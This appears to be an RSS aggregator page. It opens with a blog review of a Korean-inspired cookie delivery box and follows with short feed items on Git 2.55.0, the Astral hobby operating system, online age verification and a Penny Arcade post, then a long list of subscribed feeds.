Looking for Korean inspired cookies baked from scratch with quality ingredients that can be delivered to your doorstep? Well, I wasn’t when I got an ad on Instagram from Onue Bakery, but after seeing the ad I realized that was, in fact, something I definitely wanted in my life.

I am slightly familiar with the concept of shipping fresh baked cookies, as I have ordered from Levain Bakery once before and received a pack of their dense, bakery style cookies. Levain’s website says they bake daily and ship nationwide, so I was curious how Onue Bakery operated. On their “how it works” page, they say they open orders on Monday, close orders on Saturday (or earlier if they sell out), bake everything fresh on Sunday, and ship everything out on Monday. They don’t ship to Hawaii or Alaska for freshness purposes.

Onue Bakery boasts that they use Irish butter, unbleached flour, and high quality eggs. (I actually just learned while writing this post that they use KERRYGOLD! You guys know that’s my favorite butter.)

I didn’t know which flavors to try out, and half were sold out already, so I opted to get the Onue box, which is their variety box and contained the cookie flavors that were otherwise sold out. For $48 you get twelve cookies, so you get to try all eight of their signature flavors. You get one of each of the giant ones, and two of each of the thin ones.

Here’s the line-up:

Eight packages of cookies, all individually sealed for freshness purposes. There's cookie butter, yellow cheddar, black sesame, matcha choc chip, miso choc chip, double cocoa, gochujang, and earl grey choc chip.

I was so excited to sample all the different flavors. The fact that half the flavors come with two cookies is perfect for sharing the box, and the flavors that come with one are more than shareable with their giant size and immense density. There’s a lot of cookie going on in this box.

Personally, I was most excited for the Cookie Butter cookie because I love Biscoff, and I was definitely excited to try the Earl Grey Chocolate Chip, as I love a little twist on a classic. All of these looked so good, I was definitely happy with my purchase.

Sadly, I never got around to trying the Gochujang one before it got stale. It sat in the cookie jar for a week and I missed its window of consumability. I’m sad because that’s such a unique flavor I’ve never tried in cookie form before. Every other flavor was great, though! Especially the Yellow Cheddar, which was surprisingly a top flavor out of the whole box. And fair warning, you will absolutely need a glass of milk for the Double Cocoa Cookie. That boi is thicc.

One thing that’s really great about Onue Bakery’s cookies is that they aren’t too sweet (which they also say on their website), so you don’t get that nauseating, tooth-aching feeling that you sometimes can with other cookie brands (cough cough Crumbl (yes I know I used to like them, I was younger and had less dental work)). Their nutrition information is certainly more reasonable than a lot of other cookies.

All in all, I highly recommend giving Onue Bakery cookies a try, even if you don’t get the variety pack, especially if you like fun and interesting cookie flavors. They are taking a small break this week but will open their pre-orders on July 6th, so go get you some when they open! It’s free shipping on orders over $96, so if you want the variety pack yourself and you know a cookie lover in your life you can gift a box to, you’d get free shipping.

Which cookie flavor sounds the best to you? Give them a follow on Instagram, and have a great day!

-AMS

22:56

Go Time [Looking For Group]

Alright, so we’re doing this. If you would like to see Lar and I return to LFG, and create something new and unique, now is the time to speak up with real voting power.  And there it is, let us
Read More

The post Go Time appeared first on Looking For Group.

22:07

Git 2.55.0 released [LWN.net]

Git maintainer Junio Hamano has announced Git 2.55.0, which has non-merge commits from 100 people; 33 of those are first-time contributors to the project. LWN recently covered some of the noteworthy changes in 2.55, including new features for the experimental "git history" command, addition of the Git fsmonitor daemon for Linux systems, and more.

21:21

Astral is a hobby operating system with X.org, Minecraft, and now Wine [OSnews]

Astral is a hobby operating system written in C for 64bit architectures, with a collection of ported software like X.org, fvwm, the xbps package manager, and tons more. I think it’s quite a neat system – the code’s on GitHub – made even neater by the fact it can run not only Minecraft, but now also has a working port of Wine that can run a few games.

A few months ago, I posted about Astral, a hobby OS I have been working on over the years, running Minecraft. Since then, others have gotten modern versions of Minecraft to run as well as Factorio (using a glibc compatible libc). However, while these games are made or packaged in a way that makes it easier to get them to run under a new OS, most games are not. A lot of games are closed source and compiled for Windows, which makes something like Wine a necessity for playing them.

One of my favorite games, Cogmind, falls under that umbrella. It is a 32-bit Windows only roguelike, and it became my goal to run it under Astral. While there was already an existing Wine port, it was extremely incomplete, as not even notepad.exe worked properly. To run Cogmind, the Wine port had to be finished, which also meant adding the ability to run 32-bit code on an otherwise 64-bit-only OS.

↫ Blog post on the Astral website

This process obviously is quite involved, but in the end, they managed to get it working. Quite impressive.

The ‘papers, please’ era of the internet will decimate your privacy [OSnews]

Imagine your favorite team just scored an incredible, last-second goal at the World Cup. So you log online to celebrate with other fans. But, using data it’s already collected on you, the social media platform you like to post on wrongly guesses that you’re under 16 so it forces you to go to a third-party verification app and provide images of your face or your government-issued ID. You don’t really know much about the verification app, what country it’s based out of, what happens with your information, and whether you’re protected from hackers or data breaches. You’re not happy about it, but you hand over a photo of your passport and hope it doesn’t come back to haunt you.

Now imagine that instead of posting about sports, you’re criticizing a powerful politician, or talking about your experiences with abuse or addiction, or discussing embarrassing medical issues you’re facing. Suddenly this “papers, please” approach to the internet sounds even more invasive, right? Unfortunately, that’s the direction we’re all headed — even here in the United States — and we have good reason to be wary of the global rush to sacrifice user privacy on the altar of age verification.

↫ Sarah McLaughlin at Expression

The insane push for age verification on the internet is the biggest threat to whatever’s left of the free internet. I have two young children – 3 and 5, currently – and I’m diametrically opposed to any kind of creepy verification processes that they claim are designed to keep kids like mine “safe”. Not only is their safety not predicated on giving up their privacy, my children are also not my or anyone else’s property; they have rights, and the right to privacy is one of them.

Nobody mentioned in the Epstein files has been charged, by the way.

20:14

Non-Fungible Tims [Penny Arcade]

Tim Sweeney fascinates me; he is an endless source of activity and interest. He is always whipping out a tendril of some kind at this or that - he doesn't like that Steam identifies works made with AI, referring to it as a Scarlet Letter, which it is. It's whatever the opposite of an Organic sticker is. And it makes sense why he wouldn't like it - I've heard our designers talking about how AI tools are enmeshed now through their industry standard software, and now Gmail literally tries to write my emails for me. I saw a video for the newest Unreal technology that involved typing prompts into it so it would draw over the work you did, and then you'd have to draw over that work and fix it. So, yes. If using Unreal is synonymous with AI, a big sticker that says so isn't gonna be super welcome. Luckily, they just remembered that they have their own store recently and are gonna work on it.

Non-Fungible Tims [Penny Arcade]

Tim Sweeney fascinates me; he is an endless source of activity and interest. He is always whipping out a tendril of some kind at this or that - he doesn't like that Steam identifies works made with AI, referring to it as a Scarlet Letter, which it is. It's whatever the opposite of an Organic sticker is. And it makes sense why he wouldn't like it - I've heard our designers talking about how AI tools are enmeshed now through their industry standard software, and now Gmail literally tries to write my emails for me. I saw a video for the newest Unreal technology that involved typing prompts into it so it would draw over the work you did, and then you'd have to draw over that work and fix it. So, yes. If using Unreal is synonymous with AI, a big sticker that says so isn't gonna be super welcome. Luckily, they just remembered that they have their own store recently and are gonna work on it.

19:49

Feeds

FeedRSSLast fetchedNext fetched after
@ASmartBear XML 17:35, Friday, 03 July 18:16, Friday, 03 July
a bag of four grapes XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Ansible XML 18:14, Friday, 03 July 18:54, Friday, 03 July
Bad Science XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Black Doggerel XML 17:35, Friday, 03 July 18:16, Friday, 03 July
Blog - Official site of Stephen Fry XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Charlie Brooker | The Guardian XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Charlie's Diary XML 18:07, Friday, 03 July 18:55, Friday, 03 July
Chasing the Sunset - Comics Only XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Coding Horror XML 17:56, Friday, 03 July 18:43, Friday, 03 July
Comics Archive - Spinnyverse XML 17:56, Friday, 03 July 18:40, Friday, 03 July
Cory Doctorow's craphound.com XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Cory Doctorow, Author at Boing Boing XML 17:35, Friday, 03 July 18:16, Friday, 03 July
Ctrl+Alt+Del Comic XML 18:07, Friday, 03 July 18:55, Friday, 03 July
Cyberunions XML 17:42, Friday, 03 July 18:31, Friday, 03 July
David Mitchell | The Guardian XML 18:14, Friday, 03 July 18:57, Friday, 03 July
Deeplinks XML 17:56, Friday, 03 July 18:40, Friday, 03 July
Diesel Sweeties webcomic by rstevens XML 18:14, Friday, 03 July 18:57, Friday, 03 July
Dilbert XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Dork Tower XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Economics from the Top Down XML 18:14, Friday, 03 July 18:57, Friday, 03 July
Edmund Finney's Quest to Find the Meaning of Life XML 18:14, Friday, 03 July 18:57, Friday, 03 July
EFF Action Center XML 18:14, Friday, 03 July 18:57, Friday, 03 July
Enspiral Tales - Medium XML 17:56, Friday, 03 July 18:41, Friday, 03 July
Events XML 18:07, Friday, 03 July 18:55, Friday, 03 July
Falkvinge on Liberty XML 18:07, Friday, 03 July 18:55, Friday, 03 July
Flipside XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Flipside XML 17:56, Friday, 03 July 18:41, Friday, 03 July
Free software jobs XML 18:14, Friday, 03 July 18:54, Friday, 03 July
Full Frontal Nerdity by Aaron Williams XML 18:07, Friday, 03 July 18:55, Friday, 03 July
General Protection Fault: Comic Updates XML 18:07, Friday, 03 July 18:55, Friday, 03 July
George Monbiot XML 18:14, Friday, 03 July 18:57, Friday, 03 July
Girl Genius XML 18:14, Friday, 03 July 18:57, Friday, 03 July
Groklaw XML 18:07, Friday, 03 July 18:55, Friday, 03 July
Grrl Power XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Hackney Anarchist Group XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Hackney Solidarity Network XML 17:56, Friday, 03 July 18:41, Friday, 03 July
http://blog.llvm.org/feeds/posts/default XML 17:56, Friday, 03 July 18:41, Friday, 03 July
http://calendar.google.com/calendar/feeds/q7s5o02sj8hcam52hutbcofoo4%40group.calendar.google.com/public/basic XML 18:14, Friday, 03 July 18:54, Friday, 03 July
http://dynamic.boingboing.net/cgi-bin/mt/mt-cp.cgi?__mode=feed&_type=posts&blog_id=1&id=1 XML 17:56, Friday, 03 July 18:41, Friday, 03 July
http://eng.anarchoblogs.org/feed/atom/ XML 17:35, Friday, 03 July 18:21, Friday, 03 July
http://feed43.com/3874015735218037.xml XML 17:35, Friday, 03 July 18:21, Friday, 03 July
http://flatearthnews.net/flatearthnews.net/blogfeed XML 17:35, Friday, 03 July 18:16, Friday, 03 July
http://fulltextrssfeed.com/ XML 18:14, Friday, 03 July 18:57, Friday, 03 July
http://london.indymedia.org/articles.rss XML 17:56, Friday, 03 July 18:43, Friday, 03 July
http://pipes.yahoo.com/pipes/pipe.run?_id=ad0530218c055aa302f7e0e84d5d6515&amp;_render=rss XML 17:35, Friday, 03 July 18:21, Friday, 03 July
http://planet.gridpp.ac.uk/atom.xml XML 17:56, Friday, 03 July 18:43, Friday, 03 July
http://shirky.com/weblog/feed/atom/ XML 17:56, Friday, 03 July 18:40, Friday, 03 July
http://thecommune.co.uk/feed/ XML 17:56, Friday, 03 July 18:41, Friday, 03 July
http://theness.com/roguesgallery/feed/ XML 18:07, Friday, 03 July 18:55, Friday, 03 July
http://www.airshipentertainment.com/buck/buckcomic/buck.rss XML 17:42, Friday, 03 July 18:31, Friday, 03 July
http://www.airshipentertainment.com/growf/growfcomic/growf.rss XML 17:56, Friday, 03 July 18:40, Friday, 03 July
http://www.airshipentertainment.com/myth/mythcomic/myth.rss XML 17:49, Friday, 03 July 18:31, Friday, 03 July
http://www.baen.com/baenebooks XML 17:56, Friday, 03 July 18:40, Friday, 03 July
http://www.feedsapi.com/makefulltextfeed.php?url=http%3A%2F%2Fwww.somethingpositive.net%2Fsp.xml&what=auto&key=&max=7&links=preserve&exc=&privacy=I+accept XML 17:56, Friday, 03 July 18:40, Friday, 03 July
http://www.godhatesastronauts.com/feed/ XML 18:07, Friday, 03 July 18:55, Friday, 03 July
http://www.tinycat.co.uk/feed/ XML 18:14, Friday, 03 July 18:54, Friday, 03 July
https://anarchism.pageabode.com/blogs/anarcho/feed/ XML 17:56, Friday, 03 July 18:40, Friday, 03 July
https://broodhollow.krisstraub.comfeed/ XML 17:35, Friday, 03 July 18:16, Friday, 03 July
https://debian-administration.org/atom.xml XML 17:35, Friday, 03 July 18:16, Friday, 03 July
https://elitetheatre.org/ XML 17:56, Friday, 03 July 18:43, Friday, 03 July
https://feeds.feedburner.com/Starslip XML 17:49, Friday, 03 July 18:31, Friday, 03 July
https://feeds2.feedburner.com/GeekEtiquette?format=xml XML 18:14, Friday, 03 July 18:57, Friday, 03 July
https://hackbloc.org/rss.xml XML 17:35, Friday, 03 July 18:16, Friday, 03 July
https://kajafoglio.livejournal.com/data/atom/ XML 17:42, Friday, 03 July 18:31, Friday, 03 July
https://philfoglio.livejournal.com/data/atom/ XML 17:56, Friday, 03 July 18:43, Friday, 03 July
https://pixietrixcomix.com/eerie-cutiescomic.rss XML 17:56, Friday, 03 July 18:43, Friday, 03 July
https://pixietrixcomix.com/menage-a-3/comic.rss XML 17:56, Friday, 03 July 18:40, Friday, 03 July
https://propertyistheft.wordpress.com/feed/ XML 18:14, Friday, 03 July 18:54, Friday, 03 July
https://requiem.seraph-inn.com/updates.rss XML 18:14, Friday, 03 July 18:54, Friday, 03 July
https://studiofoglio.livejournal.com/data/atom/ XML 17:35, Friday, 03 July 18:21, Friday, 03 July
https://thecommandline.net/feed/ XML 17:35, Friday, 03 July 18:21, Friday, 03 July
https://torrentfreak.com/subscriptions/ XML 18:14, Friday, 03 July 18:57, Friday, 03 July
https://web.randi.org/?format=feed&type=rss XML 18:14, Friday, 03 July 18:57, Friday, 03 July
https://www.dcscience.net/feed/medium.co XML 17:42, Friday, 03 July 18:31, Friday, 03 July
https://www.DropCatch.com/domain/steampunkmagazine.com XML 17:35, Friday, 03 July 18:16, Friday, 03 July
https://www.DropCatch.com/domain/ubuntuweblogs.org XML 17:35, Friday, 03 July 18:21, Friday, 03 July
https://www.DropCatch.com/redirect/?domain=DyingAlone.net XML 17:56, Friday, 03 July 18:43, Friday, 03 July
https://www.freedompress.org.uk:443/news/feed/ XML 18:07, Friday, 03 July 18:55, Friday, 03 July
https://www.goblinscomic.com/category/comics/feed/ XML 18:14, Friday, 03 July 18:54, Friday, 03 July
https://www.loomio.com/blog/feed/ XML 17:35, Friday, 03 July 18:21, Friday, 03 July
https://www.newstatesman.com/feeds/blogs/laurie-penny.rss XML 17:35, Friday, 03 July 18:16, Friday, 03 July
https://www.patreon.com/graveyardgreg/posts/comic.rss XML 17:56, Friday, 03 July 18:43, Friday, 03 July
https://www.rightmove.co.uk/rss/property-for-sale/find.html?locationIdentifier=REGION^876&maxPrice=240000&minBedrooms=2&displayPropertyType=houses&oldDisplayPropertyType=houses&primaryDisplayPropertyType=houses&oldPrimaryDisplayPropertyType=houses&numberOfPropertiesPerPage=24 XML 18:14, Friday, 03 July 18:57, Friday, 03 July
https://x.com/statuses/user_timeline/22724360.rss XML 18:14, Friday, 03 July 18:54, Friday, 03 July
Humble Bundle Blog XML 17:56, Friday, 03 July 18:43, Friday, 03 July
I, Cringely XML 18:07, Friday, 03 July 18:55, Friday, 03 July
Irregular Webcomic! XML 17:35, Friday, 03 July 18:16, Friday, 03 July
Joel on Software XML 17:35, Friday, 03 July 18:21, Friday, 03 July
Judith Proctor's Journal XML 18:14, Friday, 03 July 18:54, Friday, 03 July
Krebs on Security XML 17:35, Friday, 03 July 18:16, Friday, 03 July
Lambda the Ultimate - Programming Languages Weblog XML 18:14, Friday, 03 July 18:54, Friday, 03 July
Looking For Group XML 17:56, Friday, 03 July 18:40, Friday, 03 July
LWN.net XML 17:35, Friday, 03 July 18:16, Friday, 03 July
Mimi and Eunice XML 17:56, Friday, 03 July 18:41, Friday, 03 July
Neil Gaiman's Journal XML 18:14, Friday, 03 July 18:54, Friday, 03 July
Nina Paley XML 17:56, Friday, 03 July 18:43, Friday, 03 July
O Abnormal – Scifi/Fantasy Artist XML 17:56, Friday, 03 July 18:41, Friday, 03 July
Oglaf! -- Comics. Often dirty. XML 18:07, Friday, 03 July 18:55, Friday, 03 July
Oh Joy Sex Toy XML 17:56, Friday, 03 July 18:40, Friday, 03 July
Order of the Stick XML 17:56, Friday, 03 July 18:40, Friday, 03 July
Original Fiction Archives - Reactor XML 17:49, Friday, 03 July 18:31, Friday, 03 July
OSnews XML 17:56, Friday, 03 July 18:41, Friday, 03 July
Paul Graham: Unofficial RSS Feed XML 17:56, Friday, 03 July 18:41, Friday, 03 July
Penny Arcade XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Penny Red XML 17:56, Friday, 03 July 18:41, Friday, 03 July
PHD Comics XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Phil's blog XML 18:07, Friday, 03 July 18:55, Friday, 03 July
Planet Debian XML 17:56, Friday, 03 July 18:41, Friday, 03 July
Planet GNU XML 17:35, Friday, 03 July 18:16, Friday, 03 July
Planet Lisp XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Pluralistic: Daily links from Cory Doctorow XML 18:14, Friday, 03 July 18:54, Friday, 03 July
PS238 by Aaron Williams XML 18:07, Friday, 03 July 18:55, Friday, 03 July
QC RSS v2 XML 17:56, Friday, 03 July 18:43, Friday, 03 July
Radar XML 17:49, Friday, 03 July 18:31, Friday, 03 July
RevK®'s ramblings XML 17:35, Friday, 03 July 18:21, Friday, 03 July
Richard Stallman's Political Notes XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Scenes From A Multiverse XML 17:56, Friday, 03 July 18:43, Friday, 03 July
Schneier on Security XML 18:14, Friday, 03 July 18:54, Friday, 03 July
SCHNEWS.ORG.UK XML 17:56, Friday, 03 July 18:40, Friday, 03 July
Scripting News XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Seth's Blog XML 17:35, Friday, 03 July 18:21, Friday, 03 July
Skin Horse XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Tales From the Riverbank XML 17:42, Friday, 03 July 18:31, Friday, 03 July
The Adventures of Dr. McNinja XML 17:56, Friday, 03 July 18:41, Friday, 03 July
The Bumpycat sat on the mat XML 18:14, Friday, 03 July 18:54, Friday, 03 July
The Daily WTF XML 17:35, Friday, 03 July 18:21, Friday, 03 July
The Monochrome Mob XML 17:35, Friday, 03 July 18:16, Friday, 03 July
The Non-Adventures of Wonderella XML 18:14, Friday, 03 July 18:57, Friday, 03 July
The Old New Thing XML 17:56, Friday, 03 July 18:40, Friday, 03 July
The Open Source Grid Engine Blog XML 17:56, Friday, 03 July 18:43, Friday, 03 July
The Stranger XML 17:56, Friday, 03 July 18:41, Friday, 03 July
towerhamletsalarm XML 17:35, Friday, 03 July 18:21, Friday, 03 July
Twokinds XML 17:49, Friday, 03 July 18:31, Friday, 03 July
UK Indymedia Features XML 17:49, Friday, 03 July 18:31, Friday, 03 July
Uploads from ne11y XML 17:35, Friday, 03 July 18:21, Friday, 03 July
Uploads from piasladic XML 18:14, Friday, 03 July 18:57, Friday, 03 July
Use Sword on Monster XML 17:56, Friday, 03 July 18:43, Friday, 03 July
Wayward Sons: Legends - Sci-Fi Full Page Webcomic - Updates Daily XML 17:35, Friday, 03 July 18:21, Friday, 03 July
what if? XML 17:35, Friday, 03 July 18:16, Friday, 03 July
Whatever XML 17:42, Friday, 03 July 18:31, Friday, 03 July
Whitechapel Anarchist Group XML 17:42, Friday, 03 July 18:31, Friday, 03 July
WIL WHEATON dot NET XML 17:56, Friday, 03 July 18:40, Friday, 03 July
wish XML 17:56, Friday, 03 July 18:41, Friday, 03 July
Writing the Bright Fantastic XML 17:56, Friday, 03 July 18:40, Friday, 03 July
xkcd.com XML 18:14, Friday, 03 July 18:57, Friday, 03 July